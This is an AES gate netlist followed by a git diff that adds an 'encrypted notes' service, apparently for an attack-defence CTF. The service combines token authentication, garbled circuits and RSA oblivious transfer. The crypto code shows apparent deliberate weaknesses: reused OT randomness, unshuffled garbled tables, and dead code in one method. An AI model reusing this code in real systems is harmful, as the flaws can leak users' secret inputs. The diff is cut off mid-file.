1 3416 34655 INV +2 1 34655 1030 36912 XOR +2 1 3376 34526 3362 AND +2 1 3362 3364 3344 XOR +2 1 3344 3312 3315 XOR +2 1 3306 3344 3302 XOR +2 1 3325 3302 3301 XOR +2 1 3362 3330 3299 XOR +2 1 3298 3299 34657 XOR +2 1 34657 1028 36914 XOR +2 1 3314 3315 3417 XOR +1 1 3417 34654 INV +2 1 3349 3302 3305 XOR +2 1 3304 3305 3414 XOR +1 1 3414 34659 INV +2 1 34659 1026 36916 XOR +2 1 34654 1031 36911 XOR +2 1 3300 3301 34656 XOR +2 1 34656 1029 36913 XOR +1 1 11620 33251 INV +2 1 33251 36447 11436 XOR +2 1 11435 11436 36361 XOR +2 1 36361 1188 34497 XOR +2 1 33251 32836 11441 XOR +2 1 11440 11441 36359 XOR +2 1 34497 34496 3014 XOR +2 1 36359 1190 34495 XOR +2 1 34501 34495 3133 XOR +2 1 34495 34496 3055 XOR +2 1 34495 34497 3037 XOR +2 1 3055 3127 3125 XOR +2 1 34495 3130 3126 XOR +2 1 34496 3037 3039 XOR +2 1 3044 3039 3120 XOR +2 1 34499 3039 3118 XOR +2 1 3133 3118 3114 AND +2 1 3114 3038 3042 XOR +2 1 3130 3126 3113 AND +2 1 34500 3039 3121 XOR +2 1 33251 36448 11433 XOR +2 1 3127 3120 3112 AND +2 1 11432 11433 36362 XOR +2 1 36362 1187 34498 XOR +2 1 34496 34498 3134 XOR +2 1 34498 34500 3040 XOR +2 1 3040 34499 2999 XOR +2 1 3040 3038 3000 XOR +2 1 34498 34501 3132 XOR +2 1 3037 3132 3124 XOR +2 1 3132 3055 3128 XOR +2 1 3132 3121 3111 AND +2 1 3111 3039 3041 XOR +2 1 3124 3128 3117 AND +2 1 3117 3040 3043 XOR +2 1 3043 3041 3047 XOR +2 1 34501 3047 3053 XOR +2 1 3037 3000 3122 XOR +2 1 3131 3122 3109 AND +2 1 3109 3112 3063 XOR +2 1 34494 3124 3123 XOR +2 1 3125 3123 3116 AND +2 1 3042 3063 3016 XOR +2 1 3016 3041 3106 XOR +2 1 3038 3134 3119 XOR +2 1 3134 3119 3110 AND +2 1 3110 3111 3013 XOR +2 1 3013 3014 3061 XOR +2 1 3061 3042 3060 XOR +2 1 3113 3060 3107 XOR +2 1 3110 3063 3057 XOR +2 1 3113 3057 3012 XOR +2 1 34495 3012 3100 XOR +2 1 34494 2999 3129 XOR +2 1 3129 34494 3115 AND +2 1 3109 3115 3067 XOR +2 1 3067 3038 3054 XOR +2 1 3047 3067 3015 XOR +2 1 34499 3015 3059 XOR +2 1 3110 3116 3062 XOR +2 1 3062 3053 3108 XOR +2 1 3108 3107 3104 AND +2 1 3104 3106 3103 XOR +2 1 3104 3059 3099 XOR +2 1 3099 3100 3098 AND +2 1 3098 3115 3010 XOR +2 1 3010 3112 3005 XOR +2 1 3098 3106 3097 XOR +2 1 3097 3129 3074 AND +2 1 3098 3057 3011 XOR +2 1 3097 34494 3083 AND +2 1 3104 3098 3096 XOR +2 1 3106 3096 3095 AND +2 1 3095 3103 3093 XOR +2 1 3095 3113 3066 XOR +2 1 3066 3060 3087 XOR +2 1 3087 3124 3085 AND +2 1 3087 3128 3076 AND +2 1 3083 3085 3065 XOR +2 1 34495 3066 3048 XOR +2 1 3048 3011 3094 XOR +2 1 3094 3125 3075 AND +2 1 3094 3123 3084 AND +2 1 3062 3054 3105 XOR +2 1 3105 3103 3102 AND +2 1 3102 3059 3101 XOR +2 1 3101 3127 3071 AND +2 1 3101 3093 3092 AND +2 1 3092 3116 3009 XOR +2 1 3092 3062 3052 XOR +2 1 3052 3054 3091 XOR +2 1 3091 3126 3072 AND +2 1 3101 3120 3080 AND +2 1 3080 3072 3036 XOR +2 1 3048 3009 3001 XOR +2 1 3091 3130 3081 AND +2 1 3080 3081 3018 XOR +2 1 3102 3053 3004 XOR +2 1 3052 3004 3088 XOR +2 1 3088 3118 3082 AND +2 1 3088 3133 3073 AND +2 1 3102 3114 3007 XOR +2 1 3007 3043 3003 XOR +2 1 34501 3003 3006 XOR +2 1 34499 3003 3002 XOR +2 1 3001 3002 3086 XOR +2 1 3086 3119 3078 AND +2 1 3078 3081 3033 XOR +1 1 3033 3030 INV +2 1 3005 3006 3089 XOR +2 1 3089 3121 3079 AND +2 1 3089 3132 3070 AND +2 1 3078 3079 3029 XOR +2 1 3038 3001 3008 XOR +2 1 3005 3008 3090 XOR +2 1 3090 3131 3068 AND +2 1 3079 3068 3028 XOR +2 1 3090 3122 3077 AND +2 1 3073 3077 3049 XOR +1 1 3049 3027 INV +2 1 3027 3071 3026 XOR +2 1 3081 3082 3050 XOR +2 1 3078 3050 3058 XOR +2 1 3079 3058 3017 XOR +2 1 3074 3058 3023 XOR +1 1 3023 3020 INV +2 1 3026 3065 3022 XOR +2 1 3070 3022 3025 XOR +1 1 3028 3024 INV +2 1 3024 3025 3135 XOR +2 1 3086 3134 3069 AND +2 1 3069 3070 3064 XOR +2 1 3036 3064 3032 XOR +2 1 3065 3032 3035 XOR +2 1 3027 3032 3031 XOR +2 1 3030 3031 3137 XOR +1 1 3137 34623 INV +2 1 34623 1062 36880 XOR +2 1 3075 3064 3045 XOR +2 1 3076 3045 3046 XOR +2 1 3045 3022 3021 XOR +2 1 3020 3021 34624 XOR +2 1 34624 1061 36881 XOR +2 1 3046 3017 34629 XOR +2 1 34629 1056 36886 XOR +2 1 3084 3046 3051 XOR +2 1 3083 3051 3019 XOR +2 1 3018 3019 34625 XOR +2 1 34625 1060 36882 XOR +1 1 3135 34627 INV +2 1 34627 1058 36884 XOR +2 1 3082 3073 3034 XOR +2 1 3034 3035 3138 XOR +1 1 3138 34622 INV +2 1 34622 1063 36879 XOR +2 1 3085 3051 3056 XOR +2 1 3056 3029 3136 XOR +2 1 3050 3056 34626 XOR +2 1 34626 1059 36883 XOR +1 1 3136 34628 INV +2 1 34628 1057 36885 XOR +1 1 11619 33252 INV +2 1 33252 36464 11602 XOR +2 1 11601 11602 36377 XOR +2 1 33252 32829 11607 XOR +2 1 11606 11607 11605 XOR +2 1 33252 36455 11421 XOR +2 1 11421 11422 11691 XOR +2 1 11691 11635 36378 XOR +2 1 36378 1171 34514 XOR +2 1 34514 34517 32493 XOR +1 1 11605 36375 INV +2 1 36375 1174 34511 XOR +2 1 34511 34512 32416 XOR +2 1 32416 32488 32486 XOR +2 1 32493 32416 32489 XOR +2 1 34511 32491 32487 XOR +2 1 32491 32487 32474 AND +2 1 34512 34514 32495 XOR +2 1 32400 32495 32480 XOR +2 1 32495 32480 32471 AND +2 1 36377 1172 34513 XOR +2 1 34513 34512 32376 XOR +2 1 34511 34513 32399 XOR +2 1 32399 32493 32485 XOR +2 1 34510 32485 32484 XOR +2 1 32485 32489 32478 AND +2 1 34512 32399 32401 XOR +2 1 34516 32401 32482 XOR +2 1 32406 32401 32481 XOR +2 1 32488 32481 32473 AND +2 1 32493 32482 32472 AND +2 1 32472 32401 32403 XOR +2 1 34515 32401 32479 XOR +2 1 32486 32484 32477 AND +2 1 32471 32477 32423 XOR +2 1 34517 34511 32494 XOR +2 1 34514 34516 32402 XOR +2 1 32402 34515 32361 XOR +2 1 32402 32400 32362 XOR +2 1 32399 32362 32483 XOR +2 1 32492 32483 32470 AND +2 1 34510 32361 32490 XOR +2 1 32478 32402 32405 XOR +2 1 32490 34510 32476 AND +2 1 32470 32476 32428 XOR +2 1 32428 32400 32415 XOR +2 1 32423 32415 32466 XOR +2 1 32405 32403 32409 XOR +2 1 32409 32428 32377 XOR +2 1 34515 32377 32420 XOR +2 1 34517 32409 32414 XOR +2 1 32423 32414 32469 XOR +2 1 32494 32479 32475 AND +2 1 32475 32400 32404 XOR +2 1 32470 32473 32424 XOR +2 1 32404 32424 32378 XOR +2 1 32378 32403 32467 XOR +2 1 32471 32424 32418 XOR +2 1 32474 32418 32374 XOR +2 1 34511 32374 32461 XOR +2 1 32471 32472 32375 XOR +2 1 32375 32376 32422 XOR +2 1 32422 32404 32421 XOR +2 1 32474 32421 32468 XOR +2 1 32469 32468 32465 AND +2 1 32465 32420 32460 XOR +2 1 32465 32467 32464 XOR +2 1 32466 32464 32463 AND +2 1 32463 32420 32462 XOR +2 1 32462 32481 32441 AND +2 1 32462 32488 32432 AND +2 1 32463 32475 32369 XOR +2 1 32460 32461 32459 AND +2 1 32465 32459 32457 XOR +2 1 32459 32476 32372 XOR +2 1 32372 32473 32367 XOR +2 1 32467 32457 32456 AND +2 1 32456 32464 32454 XOR +2 1 32462 32454 32453 AND +2 1 32453 32477 32371 XOR +2 1 32453 32423 32413 XOR +2 1 32456 32474 32427 XOR +2 1 32427 32421 32448 XOR +2 1 34511 32427 32410 XOR +2 1 32410 32371 32363 XOR +2 1 32459 32418 32373 XOR +2 1 32448 32485 32446 AND +2 1 32413 32415 32452 XOR +2 1 32452 32487 32433 AND +2 1 32441 32433 32398 XOR +2 1 32448 32489 32437 AND +2 1 32400 32363 32370 XOR +2 1 32367 32370 32451 XOR +2 1 32451 32483 32438 AND +2 1 32452 32491 32442 AND +2 1 32441 32442 32380 XOR +2 1 32459 32467 32458 XOR +2 1 32458 34510 32444 AND +2 1 32444 32446 32426 XOR +2 1 32369 32405 32365 XOR +2 1 34515 32365 32364 XOR +2 1 32363 32364 32447 XOR +2 1 32447 32480 32439 AND +2 1 32439 32442 32395 XOR +2 1 32447 32495 32430 AND +1 1 32395 32392 INV +2 1 32410 32373 32455 XOR +2 1 32455 32486 32436 AND +2 1 32455 32484 32445 AND +2 1 34517 32365 32368 XOR +2 1 32367 32368 32450 XOR +2 1 32450 32493 32431 AND +2 1 32451 32492 32429 AND +2 1 32450 32482 32440 AND +2 1 32440 32429 32390 XOR +1 1 32390 32386 INV +2 1 32463 32414 32366 XOR +2 1 32413 32366 32449 XOR +2 1 32449 32494 32434 AND +2 1 32449 32479 32443 AND +2 1 32443 32434 32396 XOR +2 1 32434 32438 32411 XOR +1 1 32411 32389 INV +2 1 32389 32432 32388 XOR +2 1 32388 32426 32384 XOR +2 1 32431 32384 32387 XOR +2 1 32386 32387 32496 XOR +1 1 32496 34643 INV +2 1 34643 1106 36836 XOR +2 1 32430 32431 32425 XOR +2 1 32436 32425 32407 XOR +2 1 32407 32384 32383 XOR +2 1 32398 32425 32394 XOR +2 1 32389 32394 32393 XOR +2 1 32392 32393 32498 XOR +2 1 32426 32394 32397 XOR +2 1 32396 32397 32499 XOR +1 1 32499 34638 INV +2 1 34638 1111 36831 XOR +2 1 32437 32407 32408 XOR +2 1 32445 32408 32412 XOR +2 1 32444 32412 32381 XOR +2 1 32380 32381 34641 XOR +2 1 34641 1108 36834 XOR +2 1 32442 32443 32730 XOR +2 1 32439 32730 32419 XOR +2 1 32440 32419 32379 XOR +2 1 32408 32379 34645 XOR +2 1 32458 32490 32435 AND +2 1 32435 32419 32385 XOR +1 1 32385 32382 INV +2 1 32382 32383 34640 XOR +2 1 34640 1109 36833 XOR +2 1 32446 32412 32417 XOR +2 1 32730 32417 34642 XOR +2 1 34642 1107 36835 XOR +2 1 32439 32440 32391 XOR +2 1 32417 32391 32497 XOR +2 1 34645 1104 36838 XOR +1 1 32498 34639 INV +2 1 34639 1110 36832 XOR +1 1 32497 34644 INV +2 1 34644 1105 36837 XOR +1 1 11625 33253 INV +2 1 33253 36417 11549 XOR +2 1 11549 11550 36293 XOR +2 1 36293 1256 34429 XOR +2 1 34426 34429 2013 XOR +2 1 1918 2013 2005 XOR +2 1 34422 2005 2004 XOR +2 1 2013 1936 2009 XOR +2 1 2005 2009 1998 AND +2 1 1998 1921 1924 XOR +2 1 34427 34429 1919 XOR +2 1 1919 1925 2008 XOR +2 1 1921 1919 1881 XOR +2 1 2008 2001 1993 AND +2 1 1919 2015 2000 XOR +2 1 2015 2000 1991 AND +2 1 1936 2008 2006 XOR +2 1 2006 2004 1997 AND +2 1 2013 2002 1992 AND +2 1 1991 1992 1894 XOR +2 1 1894 1895 1942 XOR +2 1 34429 34424 2012 XOR +2 1 1992 1920 1922 XOR +2 1 1924 1922 1928 XOR +2 1 34429 1928 1934 XOR +2 1 34429 34423 2014 XOR +2 1 2014 1999 1995 AND +2 1 1995 1919 1923 XOR +2 1 1942 1923 1941 XOR +2 1 1994 1941 1988 XOR +2 1 33253 33110 11412 XOR +2 1 11412 11413 11695 XOR +2 1 11695 11687 36279 XOR +2 1 36279 1270 34415 XOR +2 1 34415 34416 1796 XOR +2 1 1796 1868 1866 XOR +2 1 34415 34417 1778 XOR +2 1 34416 1778 1780 XOR +2 1 34420 1780 1862 XOR +2 1 34419 1780 1859 XOR +2 1 34421 34415 1874 XOR +2 1 1874 1859 1855 AND +2 1 34415 1871 1867 XOR +2 1 1871 1867 1854 AND +2 1 1855 1779 1783 XOR +2 1 1785 1780 1861 XOR +2 1 1868 1861 1853 AND +2 1 1918 1881 2003 XOR +2 1 2012 2003 1990 AND +2 1 1990 1993 1944 XOR +2 1 1923 1944 1897 XOR +2 1 1897 1922 1987 XOR +2 1 1991 1944 1938 XOR +2 1 1994 1938 1893 XOR +2 1 34423 1893 1981 XOR +2 1 1990 1996 1948 XOR +2 1 1928 1948 1896 XOR +2 1 1948 1919 1935 XOR +2 1 34427 1896 1940 XOR +2 1 33253 36400 11570 XOR +2 1 11569 11570 36282 XOR +2 1 36282 1267 34418 XOR +2 1 34418 34420 1781 XOR +2 1 1781 1779 1741 XOR +2 1 1781 34419 1740 XOR +2 1 34414 1740 1870 XOR +2 1 1870 34414 1856 AND +2 1 34416 34418 1875 XOR +2 1 1779 1875 1860 XOR +2 1 1875 1860 1851 AND +2 1 34418 34421 1873 XOR +2 1 1873 1796 1869 XOR +2 1 1778 1873 1865 XOR +2 1 34414 1865 1864 XOR +2 1 1865 1869 1858 AND +2 1 1866 1864 1857 AND +2 1 1851 1857 1803 XOR +2 1 1873 1862 1852 AND +2 1 1852 1780 1782 XOR +2 1 1851 1852 1754 XOR +2 1 1754 1755 1802 XOR +2 1 1858 1781 1784 XOR +2 1 1784 1782 1788 XOR +2 1 34421 1788 1794 XOR +2 1 1803 1794 1849 XOR +2 1 1802 1783 1801 XOR +2 1 1854 1801 1848 XOR +2 1 1849 1848 1845 AND +2 1 1991 1997 1943 XOR +2 1 1943 1935 1986 XOR +2 1 1943 1934 1989 XOR +2 1 1989 1988 1985 AND +2 1 1985 1987 1984 XOR +2 1 1986 1984 1983 AND +2 1 1983 1934 1885 XOR +2 1 1983 1995 1888 XOR +2 1 1888 1924 1884 XOR +2 1 34429 1884 1887 XOR +2 1 34427 1884 1883 XOR +2 1 1983 1940 1982 XOR +2 1 1985 1940 1980 XOR +2 1 1982 2008 1952 AND +2 1 1982 2001 1961 AND +2 1 1980 1981 1979 AND +2 1 1979 1938 1892 XOR +2 1 1979 1987 1978 XOR +2 1 1979 1996 1891 XOR +2 1 1891 1993 1886 XOR +2 1 1886 1887 1970 XOR +2 1 1970 2002 1960 AND +2 1 1970 2013 1951 AND +2 1 1985 1979 1977 XOR +2 1 1987 1977 1976 AND +2 1 1976 1994 1947 XOR +2 1 34423 1947 1929 XOR +2 1 1929 1892 1975 XOR +2 1 1975 2004 1965 AND +2 1 1947 1941 1968 XOR +2 1 1968 2009 1957 AND +2 1 1978 2010 1955 AND +2 1 1978 34422 1964 AND +2 1 1975 2006 1956 AND +2 1 1976 1984 1974 XOR +2 1 1982 1974 1973 AND +2 1 1973 1997 1890 XOR +2 1 1929 1890 1882 XOR +2 1 1882 1883 1967 XOR +2 1 1967 2015 1950 AND +2 1 1967 2000 1959 AND +2 1 1950 1951 1945 XOR +2 1 1956 1945 1926 XOR +2 1 1957 1926 1927 XOR +2 1 1959 1960 1910 XOR +2 1 1965 1927 1932 XOR +2 1 1964 1932 1900 XOR +2 1 1919 1882 1889 XOR +2 1 1886 1889 1971 XOR +2 1 1971 2003 1958 AND +2 1 1971 2012 1949 AND +2 1 1960 1949 1909 XOR +1 1 1909 1905 INV +2 1 1968 2005 1966 AND +2 1 1966 1932 1937 XOR +2 1 1937 1910 2017 XOR +1 1 2017 34556 INV +2 1 34556 1097 36845 XOR +2 1 1964 1966 1946 XOR +2 1 1973 1943 1933 XOR +2 1 1933 1885 1969 XOR +2 1 1969 1999 1963 AND +2 1 1933 1935 1972 XOR +2 1 1972 2007 1953 AND +2 1 1961 1953 1917 XOR +2 1 1972 2011 1962 AND +2 1 1962 1963 1931 XOR +2 1 1931 1937 34554 XOR +2 1 1959 1931 1939 XOR +2 1 1955 1939 1904 XOR +2 1 1959 1962 1914 XOR +2 1 1960 1939 1898 XOR +2 1 34554 1099 36843 XOR +2 1 1961 1962 1899 XOR +2 1 1927 1898 34557 XOR +2 1 1917 1945 1913 XOR +2 1 1946 1913 1916 XOR +1 1 1914 1911 INV +2 1 1899 1900 34553 XOR +2 1 34553 1100 36842 XOR +1 1 1904 1901 INV +2 1 34557 1096 36846 XOR +2 1 1969 2014 1954 AND +2 1 1963 1954 1915 XOR +2 1 1954 1958 1930 XOR +1 1 1930 1908 INV +2 1 1908 1913 1912 XOR +2 1 1908 1952 1907 XOR +2 1 1907 1946 1903 XOR +2 1 1951 1903 1906 XOR +2 1 1926 1903 1902 XOR +2 1 1901 1902 34552 XOR +2 1 1905 1906 2016 XOR +1 1 2016 34555 INV +2 1 1911 1912 2018 XOR +1 1 2018 34551 INV +2 1 34551 1102 36840 XOR +2 1 34555 1098 36844 XOR +2 1 1915 1916 2019 XOR +1 1 2019 34550 INV +2 1 34550 1103 36839 XOR +2 1 34552 1101 36841 XOR +2 1 1778 1741 1863 XOR +2 1 1872 1863 1850 AND +2 1 1850 1856 1808 XOR +2 1 1808 1779 1795 XOR +2 1 1788 1808 1756 XOR +2 1 1850 1853 1804 XOR +2 1 1851 1804 1798 XOR +2 1 1854 1798 1753 XOR +2 1 34415 1753 1841 XOR +2 1 1803 1795 1846 XOR +2 1 1783 1804 1757 XOR +2 1 1757 1782 1847 XOR +2 1 1845 1847 1844 XOR +2 1 1846 1844 1843 AND +2 1 1843 1794 1745 XOR +2 1 34419 1756 1800 XOR +2 1 1845 1800 1840 XOR +2 1 1843 1800 1842 XOR +2 1 1842 1868 1812 AND +2 1 1840 1841 1839 AND +2 1 1839 1798 1752 XOR +2 1 1839 1856 1751 XOR +2 1 1751 1853 1746 XOR +2 1 1845 1839 1837 XOR +2 1 1847 1837 1836 AND +2 1 1839 1847 1838 XOR +2 1 1838 34414 1824 AND +2 1 1838 1870 1815 AND +2 1 1836 1854 1807 XOR +2 1 1807 1801 1828 XOR +2 1 1828 1865 1826 AND +2 1 1824 1826 1806 XOR +2 1 34415 1807 1789 XOR +2 1 1789 1752 1835 XOR +2 1 1835 1864 1825 AND +2 1 1835 1866 1816 AND +2 1 1828 1869 1817 AND +2 1 1842 1861 1821 AND +2 1 1836 1844 1834 XOR +2 1 1842 1834 1833 AND +2 1 1833 1857 1750 XOR +2 1 1789 1750 1742 XOR +2 1 1833 1803 1793 XOR +2 1 1793 1795 1832 XOR +2 1 1832 1867 1813 AND +2 1 1821 1813 1777 XOR +2 1 1779 1742 1749 XOR +2 1 1746 1749 1831 XOR +2 1 1831 1863 1818 AND +2 1 1832 1871 1822 AND +2 1 1821 1822 1759 XOR +2 1 1831 1872 1809 AND +2 1 1843 1855 1748 XOR +2 1 1748 1784 1744 XOR +2 1 34421 1744 1747 XOR +2 1 1746 1747 1830 XOR +2 1 1830 1873 1811 AND +2 1 1830 1862 1820 AND +2 1 1820 1809 1769 XOR +1 1 1769 1765 INV +2 1 34419 1744 1743 XOR +2 1 1742 1743 1827 XOR +2 1 1827 1860 1819 AND +2 1 1827 1875 1810 AND +2 1 1810 1811 1805 XOR +2 1 1777 1805 1773 XOR +2 1 1806 1773 1776 XOR +2 1 1819 1822 1774 XOR +1 1 1774 1771 INV +2 1 1819 1820 1770 XOR +2 1 1816 1805 1786 XOR +2 1 1817 1786 1787 XOR +2 1 1825 1787 1792 XOR +2 1 1826 1792 1797 XOR +2 1 1824 1792 1760 XOR +2 1 1759 1760 34545 XOR +2 1 34545 1076 36866 XOR +2 1 1797 1770 1877 XOR +1 1 1877 34548 INV +2 1 34548 1073 36869 XOR +2 1 1793 1745 1829 XOR +2 1 1829 1859 1823 AND +2 1 1822 1823 1791 XOR +2 1 1819 1791 1799 XOR +2 1 1815 1799 1764 XOR +2 1 1820 1799 1758 XOR +1 1 1764 1761 INV +2 1 1829 1874 1814 AND +2 1 1814 1818 1790 XOR +2 1 1823 1814 1775 XOR +2 1 1775 1776 1879 XOR +1 1 1879 34542 INV +2 1 1787 1758 34549 XOR +2 1 34549 1072 36870 XOR +2 1 34542 1079 36863 XOR +2 1 1791 1797 34546 XOR +2 1 34546 1075 36867 XOR +1 1 1790 1768 INV +2 1 1768 1812 1767 XOR +2 1 1767 1806 1763 XOR +2 1 1811 1763 1766 XOR +2 1 1786 1763 1762 XOR +2 1 1761 1762 34544 XOR +2 1 34544 1077 36865 XOR +2 1 1765 1766 1876 XOR +1 1 1876 34547 INV +2 1 34547 1074 36868 XOR +2 1 1768 1773 1772 XOR +2 1 1771 1772 1878 XOR +1 1 1878 34543 INV +2 1 34543 1078 36864 XOR diff --git a/services/service2/service/encryptednotes/app/auth.py b/services/service2/service/encryptednotes/app/auth.py new file mode 100644 index 0000000..f4b425a --- /dev/null +++ b/services/service2/service/encryptednotes/app/auth.py @@ -0,0 +1,33 @@ +import json +from Crypto.Cipher import AES +import sys +import time +import string +import os + +APP_KEY = os.environ["EncryptedNotesKey"].encode() + +ALPH = string.ascii_letters + string.digits + +def validate_string(s): + return all([c in ALPH for c in s]) and len(s) > 7 and len(s) < 65 + +def handle_token(token): + try: + app_token, service_token = [bytes.fromhex(x) for x in token.split(".")] + cipher = AES.new(APP_KEY, AES.MODE_CTR, nonce = service_token[:8], initial_value = service_token[8:16]) + service_token = json.loads(cipher.decrypt(service_token[16:])) + user1 = bytes.fromhex(service_token["user"]) + key = bytes.fromhex(service_token["key"]) + cipher = AES.new(key, AES.MODE_CTR, nonce = app_token[:8], initial_value = app_token[8:16]) + app_token = json.loads(cipher.decrypt(app_token[16:])) + user2 = bytes.fromhex(app_token["user"]) + cur_time = int(time.time()) + assert service_token["type"] == "SERVICE_TOKEN" + assert app_token["type"] == "APP_TOKEN" + assert abs(cur_time-int(app_token["ts"]))<120 and abs(cur_time-int(service_token["ts"]))<120 + assert user1 == user2 + assert validate_string(user1.decode()) + return user1.decode() + except: + return None diff --git a/services/service2/service/encryptednotes/app/gates.py b/services/service2/service/encryptednotes/app/gates.py new file mode 100644 index 0000000..1689177 --- /dev/null +++ b/services/service2/service/encryptednotes/app/gates.py @@ -0,0 +1,252 @@ +from hashlib import sha256 +import os +from itertools import product + +VAL_LENGTH = 5 +PAD_LENGTH = 3 + + +def xor(a, b): + return bytes(x ^ y for x, y in zip(a, b)) + + +def rnd(): + return os.urandom(VAL_LENGTH) + + +def H(k): + return sha256(k).digest() + + +def enc(k, out): + k = H(k) + val = b"\0"*PAD_LENGTH + out + return xor(k, val) + + +def dec(k, x): + k = H(k) + val = xor(k, x) + if val[:PAD_LENGTH] == b"\0"*PAD_LENGTH: + return val[PAD_LENGTH:] + + +OPS = { + "AND": lambda x, y: x & y, + "XOR": lambda x, y: x ^ y, + "INV": lambda x: 1-x +} + + +class Gate: + def __init__(self, idx, inputs, op, opv): + self.idx = idx + self.inputs = inputs + self.op = op + self.opv = opv + + def garble(self, R): + if hasattr(self, "_cache"): + return self._cache + self._cache = self._garble(R) + return self._cache + + def _garble(self, R): + n = len(self.inputs) + for g in self.inputs: + g.garble(R) + + if self.opv == "XOR": + val = xor(self.inputs[0].wires[0], self.inputs[1].wires[0]) + self.wires = [val, xor(val, R)] + self.gate = [] + return + + if self.opv == "INV": + w = self.inputs[0].wires + self.wires = [w[1], w[0]] + self.gate = [] + return + + r = rnd() + wires = [r, xor(r, R)] + g = [] + for e in product(range(2), repeat=n): + k = b"".join(self.inputs[i].wires[e[i]] for i in range(n)) + res = self.op(*e) + val = enc(k, wires[res]) + g.append(val) + + self.wires = wires + self.gate = g + + def encode(self, to_hex): + gate = self.gate + if to_hex: + gate = [r.hex() for r in gate] + return (self.idx, self.opv, [x.idx for x in self.inputs], gate) + + def encode_wires(self, to_hex): + wires = self.wires + if to_hex: + wires = [wires[0].hex(), wires[1].hex()] + return wires + + def visit(self): + if hasattr(self, "_vcache"): + return self._vcache + self._vcache = self._visit() + return self._vcache + + def _visit(self): + if self.opv == "INV": + return f"NOT ({self.inputs[0].visit()})" + a = self.inputs[0].visit() + if len(a) >= 10000: + return "TRUNC" + return f"{self.idx}" + b = self.inputs[1].visit() + if len(b) >= 10000: + return "TRUNC" + return f"{self.idx}" + return f"({a}) {self.opv} ({b})" + + +class Input(Gate): + def __init__(self, idx): + self.idx = idx + + def _garble(self, R): + r = rnd() + self.wires = [r, xor(r, R)] + + def visit(self): + return str(self.idx) + + +def decode_gate(opv, g, ins, to_hex): + if to_hex: + ins = [bytes.fromhex(x) for x in ins] + g = [bytes.fromhex(r) for r in g] + if opv == "INV": + res = ins[0] + elif opv == "XOR": + res = xor(ins[0], ins[1]) + else: + for x in g: + k = b"".join(ins) + val = dec(k, x) + if val is not None: + res = val + break + if to_hex: + return res.hex() + return res + + +INDEX = 0 +def get_idx(): + global INDEX + val = INDEX + INDEX += 1 + return val + + +def build_circuit_custom(): + global INDEX + INDEX = 0 + + inputA = [Input(get_idx()) for i in range(4)] + inputB = [Input(get_idx()) for i in range(4)] + + gates1 = [Gate(get_idx(), [inputA[i], inputB[i]], OPS["AND"], "AND") for i in range(4)] + gates2 = [Gate(get_idx(), [gates1[0], gates1[1]], OPS["XOR"], "XOR"), Gate(get_idx(), [gates1[2], gates1[3]], OPS["XOR"], "XOR")] + out = Gate(get_idx(), [gates2[0], gates2[1]], OPS["XOR"], "XOR") + + gates = gates1+gates2 + return (inputA, inputB), gates, [out] + + +def build_circuit_echo(n=128): + global INDEX + INDEX = 0 + inputA = [Input(get_idx()) for i in range(n)] + inputB = [Input(get_idx()) for i in range(n)] + + f = lambda x, y: y + + out = [Gate(get_idx(), [inputA[i], inputB[i]], f, "OP1") for i in range(n)] + return (inputA, inputB), [], out + + +def build_circuit_AES(filename): + with open(filename) as f: + the_order = [] + ngates, nwires = map(int, f.readline().strip().split()) + niv, *nis = map(int, f.readline().strip().split()) + nov, *nos = map(int, f.readline().strip().split()) + f.readline() + inputA = [Input(i) for i in range(nis[0])] + inputB = [Input(i) for i in range(nis[0], nis[0]+nis[1])] + inputs = inputA+inputB + + gates = inputs + [None for _ in range(nwires - sum(nis))] + for j in range(ngates): + i, o, *op, out, g = f.readline().strip().split() + op = list(map(int, op)) + out = int(out) + the_order.append(out) + i = int(i) + o = int(o) + assert o == 1 + assert gates[out] is None + assert all(gates[x] is not None for x in op) + gate = Gate(out, [gates[x] for x in op], OPS[g], g) + gates[out] = gate + assert not any(x is None for x in gates) + n_outs = sum(nos) + n_ins = sum(nis) + last = nwires-n_outs + inner_gates = [] + output_gates = [] + for x in the_order: + if x >= last: + output_gates.append(gates[x]) + else: + inner_gates.append(gates[x]) + return (inputA, inputB), inner_gates, output_gates + + +def build_circuit_AES128(): + return build_circuit_AES("aes_128.txt") + + +def garble(circuit, true_input, to_hex=True): + (inputA, inputB), gates, outputs = circuit + R = rnd() + for out in outputs: + out.garble(R) + + encoded_inputA = [Ain.encode_wires(to_hex)[x] for Ain, x in zip(inputA, true_input)] + encoded_inputB = [Bin.encode_wires(to_hex) for Bin in inputB] + + encoded_gates = [x.encode(to_hex) for x in gates+outputs] + wires_out = [x.encode_wires(to_hex) for x in sorted(outputs, key=lambda el: el.idx)] + + return (encoded_inputA, encoded_inputB), encoded_gates, wires_out + + +def evaluate(garbled_circuit, inputs, wires_out, to_hex=True): + enc_A, enc_B = inputs + vals = enc_A+enc_B+[None]*len(garbled_circuit) + for g in garbled_circuit: + idx, opv, ins, gate = g + k = [vals[i] for i in ins] + cur = decode_gate(opv, gate, k, to_hex) + assert cur is not None + vals[idx] = cur + + n_outs = len(wires_out) + vals_out = vals[-n_outs:] + out = [w.index(v) for v, w in zip(vals_out, wires_out)] + return out diff --git a/services/service2/service/encryptednotes/app/ot.py b/services/service2/service/encryptednotes/app/ot.py new file mode 100644 index 0000000..b51890a --- /dev/null +++ b/services/service2/service/encryptednotes/app/ot.py @@ -0,0 +1,62 @@ +from Crypto.Util.number import getPrime, inverse +from Crypto.Random import random +import gmpy2 + + +class Sender: + def __init__(self, m): + self.m = m + p, q = getPrime(512), getPrime(512) + e, N = 65537, p*q + phi = (p-1)*(q-1) + d = inverse(e, phi) + + self.N = N + self.e = e + self.d = d + + def round1(self): + x = [(random.randrange(1 << 128), random.randrange(1 << 128))]*len(self.m) + self.x = x + return (self.N, self.e), x + + def round3(self, v): + n = len(v) + assert n == len(self.m) + c = [] + for i in range(n): + k = [int(gmpy2.powmod(v[i]-t, self.d, self.N)) for t in self.x[i]] + cc = [(kk+mm) % self.N for kk, mm in zip(k, self.m[i])] + c.append(cc) + return c + + +class Receiver: + def __init__(self, b): + self.b = b + + def round2(self, pk, x): + N, e = pk + n = len(x) + assert n == len(self.b) + + v = [] + k = [] + for i in range(n): + kk = random.randrange(1 << 2048) + k.append(kk) + cur = x[i][self.b[i]] + pow(kk, e, N) + v.append(cur % N) + self.k = k + self.N = N + return v + + def decode(self, c): + n = len(c) + assert n == len(self.b) + + m = [] + for i in range(n): + mm = (c[i][self.b[i]]-self.k[i]) % self.N + m.append(mm) + return m diff --git a/services/service2/service/encryptednotes/app/requirements.txt b/services/service2/service/encryptednotes/app/requirements.txt new file mode 100644 index 0000000..3da60b9 --- /dev/null +++ b/services/service2/service/encryptednotes/app/requirements.txt @@ -0,0 +1,2 